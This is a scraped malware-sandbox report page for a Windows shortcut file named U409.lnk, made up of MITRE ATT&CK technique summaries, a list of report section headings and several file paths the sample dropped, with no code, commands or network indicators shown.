Description:	Adversaries may attempt to get a listing of security software, configurations, defensive tools, and sensors that are installed on a system or in a cloud environment. This may include things such as firewall rules and anti-virus. Adversaries may use the information from Security Software Discovery during automated discovery to shape follow-on behaviors, including whether or not the adversary fully infects the target and/or attempts specific actions.
Tactics:	Discovery
Data Sources:	AWS CloudTrail logs, Azure activity logs, File monitoring, Process command-line parameters, Process monitoring, Stackdriver logs
Platforms:	AWS, Azure, Azure AD, GCP, Linux, macOS, Office 365, SaaS, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may attempt to get information about running processes on a system. Information obtained could be used to gain an understanding of common software/applications running on systems within the network. Adversaries may use the information from Process Discovery during automated discovery to shape follow-on behaviors, including whether or not the adversary fully infects the target and/or attempts specific actions.
Tactics:	Discovery
Data Sources:	API monitoring, Process command-line parameters, Process monitoring
Platforms:	Linux, macOS, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may enumerate files and directories or may search in specific locations of a host or network share for certain information within a file system. Adversaries may use the information from File and Directory Discovery during automated discovery to shape follow-on behaviors, including whether or not the adversary fully infects the target and/or attempts specific actions.
Tactics:	Discovery
Data Sources:	File monitoring, Process command-line parameters, Process monitoring
Platforms:	Linux, macOS, Windows
Url:	Open detailed description by Mitre

Description:	An adversary may attempt to get detailed information about the operating system and hardware, including version, patches, hotfixes, service packs, and architecture. Adversaries may use the information from System Information Discovery during automated discovery to shape follow-on behaviors, including whether or not the adversary fully infects the target and/or attempts specific actions.
Tactics:	Discovery
Data Sources:	AWS CloudTrail logs, Azure activity logs, Process command-line parameters, Process monitoring, Stackdriver logs
Platforms:	AWS, Azure, GCP, Linux, macOS, Windows
Url:	Open detailed description by Mitre

Description:	An adversary may compress and/or encrypt data that is collected prior to exfiltration. Compressing the data can help to obfuscate the collected data and minimize the amount of data sent over the network. Encryption can be used to hide information that is being exfiltrated from detection or make exfiltration less conspicuous upon inspection by a defender.
Tactics:	Collection
Data Sources:	Binary file metadata, File monitoring, Process command-line parameters, Process monitoring
Platforms:	Linux, macOS, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may employ a known encryption algorithm to conceal command and control traffic rather than relying on any inherent protections provided by a communication protocol. Despite the use of a secure algorithm, these implementations may be vulnerable to reverse engineering if secret keys are encoded and/or generated within malware samples/configuration files.
Tactics:	Command and Control
Data Sources:	Malware reverse engineering, Netflow/Enclave netflow, Packet capture, Process monitoring, Process use of network, SSL/TLS inspection
Platforms:	Linux, macOS, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may transfer tools or other files from an external system into a compromised environment. Files may be copied from an external adversary controlled system through the command and control channel to bring tools into the victim network or through alternate protocols with another tool such as FTP. Files can also be copied over on Mac and Linux with native tools like scp, rsync, and sftp.
Tactics:	Command and Control
Data Sources:	File monitoring, Netflow/Enclave netflow, Network protocol analysis, Packet capture, Process command-line parameters, Process monitoring, Process use of network
Platforms:	Linux, macOS, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may use a non-application layer protocol for communication between host and C2 server or among infected hosts within a network. The list of possible protocols is extensive.Specific examples include use of network layer protocols, such as the Internet Control Message Protocol (ICMP), transport layer protocols, such as the User Datagram Protocol (UDP), session layer protocols, such as Socket Secure (SOCKS), as well as redirected/tunneled protocols, such as Serial over LAN (SOL).
Tactics:	Command and Control
Data Sources:	Host network interface, Netflow/Enclave netflow, Network intrusion detection system, Network protocol analysis, Packet capture, Process use of network
Platforms:	Linux, macOS, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may communicate using application layer protocols to avoid detection/network filtering by blending in with existing traffic. Commands to the remote system, and often the results of those commands, will be embedded within the protocol traffic between the client and server.
Tactics:	Command and Control
Data Sources:	DNS records, Netflow/Enclave netflow, Network protocol analysis, Packet capture, Process monitoring, Process use of network
Platforms:	Linux, macOS, Windows
Url:	Open detailed description by Mitre

Behavior Section

Behavior Chronological

Disassembly

Uncategorized

Graph

Loading Joe Sandbox Report ...

Warning!

Windows Analysis Report U409.lnk

Overview

General Information

Detection

Signatures

Classification

Process Tree

Malware Configuration

Yara Signatures

Sigma Signatures

Snort Signatures

Joe Sandbox Signatures

AV Detection

Compliance

Networking

System Summary

Data Obfuscation

Persistence and Installation Behavior

Hooking and other Techniques for Hiding and Protection

Malware Analysis System Evasion

Anti Debugging

HIPS / PFW / Operating System Protection Evasion

Language, Device and Operating System Detection

Mitre Att&ck Matrix

Behavior Graph

Screenshots

Thumbnails

Antivirus, Machine Learning and Genetic Malware Detection

Initial Sample

Dropped Files

Unpacked PE Files

Domains

URLs

Domains and IPs

Contacted Domains

Contacted URLs

URLs from Memory and Binaries

World Map of Contacted IPs

Public IPs

Private

General Information

Warnings

Simulations

Behavior and APIs

Joe Sandbox View / Context

IPs

Domains

ASNs

JA3 Fingerprints

Dropped Files

Created / dropped Files

C:\Users\user\AppData\Local\Microsoft\Windows\PowerShell\StartupProfileData-NonInteractive

C:\Users\user\AppData\Local\Temp\__PSScriptPolicyTest_jkhzmzhu.faq.psm1

C:\Users\user\AppData\Local\Temp\__PSScriptPolicyTest_wyctevpv.ahu.ps1

C:\Users\user\AppData\Roaming\Microsoft\Windows\Recent\CustomDestinations\3QFB5TW2E0OWUY7XS0HW.temp

C:\Users\user\AppData\Roaming\Microsoft\Windows\Recent\CustomDestinations\5cfda808955a3324.customDestinations-ms (copy)

C:\Users\user\Documents\20220513\PowerShell_transcript.305090.0TyhnxeB.20220513164423.txt

Static File Info

General

File Icon

Static Windows Shortcut Info

General

Network Behavior

Network Port Distribution

TCP Packets

UDP Packets

DNS Queries

DNS Answers

HTTP Request Dependency Graph

HTTPS Proxied Packets

Statistics

CPU Usage

Memory Usage

Windows Analysis Report
U409.lnk